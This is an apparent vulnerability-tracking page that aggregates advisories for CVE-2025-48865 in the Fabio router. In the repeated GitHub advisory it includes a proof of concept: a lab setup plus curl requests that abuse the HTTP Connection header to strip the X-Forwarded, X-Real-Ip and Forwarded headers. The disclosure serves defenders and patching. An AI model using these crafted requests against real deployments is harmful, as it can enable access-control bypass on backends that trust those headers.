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Fabio allows HTTP clients to manipulate custom headers it adds

CVSS 3.1 9.1 CRITICALEUVD CVSS 3.1 9.1 CVSS 3.1 · [email protected] · Secondary 9.1 CRITICALCVSS 3.1 · [email protected] · Primary 9.1 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/fabiolb/fabio 1.6.6osv · severity unknownFixed by github.com/fabiolb/fabio 1.6.6KEV status unknown

cve-program · CVE-2025-48865

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

euvd · EUVD-2025-16398

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

nvd · CVE-2025-48865

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Read the publisher's advisory

osv · GHSA-q7p4-7xjv-j3wf

Published

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: ``` Connection: close, X-Forwarded-Host ``` Similar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik. ### Details It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded ### PoC The following docker-compose file was used for testing: ```yml version: '3' services: fabio: image: fabiolb/fabio ports: - "3000:9999" - "9998:9998" volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . ports: - "8080:8080" environment: - PYTHONUNBUFFERED=1 ``` The fabio.properties configuration: ``` proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/ ``` A Python container runs a simple HTTP server that logs received headers. The Dockerfile: ```dockerfile FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"] ``` Python Flask Server ```python from flask import Flask, request import sys import os sys.stdout.flush() sys.stderr.flush() os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") @app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def hello(): return f"Hello, World! Method: {request.method}" @app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def catch_all(path): return f"Caught path: {path}, Method: {request.method}" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True) ``` A normal HTTP request/response pair looks like this: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* Connection: keep-alive ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.11.12 Date: Thu, 22 May 2025 23:09:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 25 Connection: close Hello, World! Method: GET ``` Server Log ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1 backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* yeet: 123 Connection: keep-alive, Forwarded ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Content-Length: 25 Content-Type: text/html; charset=utf-8 Date: Thu, 22 May 2025 23:42:45 GMT Server: Werkzeug/3.1.3 Python/3.11.12 Hello, World! Method: GET ``` Server Logs ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` The response shows that Fabio's `Forwarded` header was removed from the request ### Impact If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass. This vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3) Stripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce). ### References - [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) - [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) - [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)

Read the publisher's advisory

osv · GO-2025-3722

Published

Fabio allows HTTP clients to manipulate custom headers it adds in github.com/fabiolb/fabio

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

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cve-program · CVE-2025-48865

Published

Fabio allows HTTP clients to manipulate custom headers it adds

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Source published
30 May 2025 06:14:45 UTC
Source modified
30 May 2025 12:24:19 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

euvd · EUVD-2025-16398

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 30, 2025, 6:14:45 AM

dateUpdated: May 30, 2025, 12:24:19 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2025:15225-1: govulncheck-vulndb-0.0.20250612T141001-1.1 on GA media

CVE-2020-36846 · CVE-2022-31022 · CVE-2023-42818 · CVE-2025-0913 · CVE-2025-1792 · CVE-2025-22874 · CVE-2025-25207 · CVE-2025-25208 · CVE-2025-2571 · CVE-2025-29785 · CVE-2025-3230 · CVE-2025-3260 · CVE-2025-3454 · CVE-2025-3611 · CVE-2025-3913 · CVE-2025-4128 · CVE-2025-4573 · CVE-2025-4673 · CVE-2025-47950 · CVE-2025-48494 · CVE-2025-48495 · CVE-2025-48710 · CVE-2025-48865 · CVE-2025-48938 · CVE-2025-48948 · CVE-2025-48949 · CVE-2025-49011 · CVE-2025-49136 · CVE-2025-49140

Source published
May 30, 2025, 6:14:45 AM (timezone not stated)
Source modified
May 30, 2025, 12:24:19 PM (timezone not stated)
Saved here
15 Nov 2026 04:33:42 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

nvd · CVE-2025-48865

Published

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop heade…

Fabio is an HTTP(S) and TCP router for deploying applications managed by consul. Prior to version 1.6.6, Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. Some of these custom headers can be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been patched in version 1.6.6.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-345 · CWE-348

Original publisher date fields

published: 2025-05-30T07:15:23.940

lastModified: 2026-06-17T09:30:24.323

1 source CPE criteria · context only
  • cpe:2.3:a:fabiolb:fabio:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
30 May 2025 07:15:23 UTC
Source modified
17 Jun 2026 09:30:24 UTC
Saved here
25 Oct 2026 02:25:01 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS 3.1 · [email protected] · Primary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

osv · GHSA-q7p4-7xjv-j3wf

Published

Fabio allows HTTP clients to manipulate custom headers it adds

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: ``` Connection: close, X-Forwarded-Host ``` Similar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik. ### Details It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded ### PoC The following docker-compose file was used for testing: ```yml version: '3' services: fabio: image: fabiolb/fabio ports: - "3000:9999" - "9998:9998" volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . ports: - "8080:8080" environment: - PYTHONUNBUFFERED=1 ``` The fabio.properties configuration: ``` proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/ ``` A Python container runs a simple HTTP server that logs received headers. The Dockerfile: ```dockerfile FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"] ``` Python Flask Server ```python from flask import Flask, request import sys import os sys.stdout.flush() sys.stderr.flush() os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") @app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def hello(): return f"Hello, World! Method: {request.method}" @app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def catch_all(path): return f"Caught path: {path}, Method: {request.method}" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True) ``` A normal HTTP request/response pair looks like this: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* Connection: keep-alive ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.11.12 Date: Thu, 22 May 2025 23:09:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 25 Connection: close Hello, World! Method: GET ``` Server Log ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1 backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* yeet: 123 Connection: keep-alive, Forwarded ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Content-Length: 25 Content-Type: text/html; charset=utf-8 Date: Thu, 22 May 2025 23:42:45 GMT Server: Werkzeug/3.1.3 Python/3.11.12 Hello, World! Method: GET ``` Server Logs ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` The response shows that Fabio's `Forwarded` header was removed from the request ### Impact If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass. This vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3) Stripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce). ### References - [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) - [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) - [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)

Source published
29 May 2025 16:50:58 UTC
Source modified
10 Sep 2026 03:50:24 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Publisher rating · CRITICAL

osv · GO-2025-3722

Published

Fabio allows HTTP clients to manipulate custom headers it adds in github.com/fabiolb/fabio

Fabio allows HTTP clients to manipulate custom headers it adds in github.com/fabiolb/fabio

Source published
3 Jun 2025 17:28:53 UTC
Source modified
3 Jun 2025 17:58:44 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 11:47 UTC · 274 of 275 readable · 250 fully read · 20 waiting for GitHub's hourly limit · documentation 469/469 current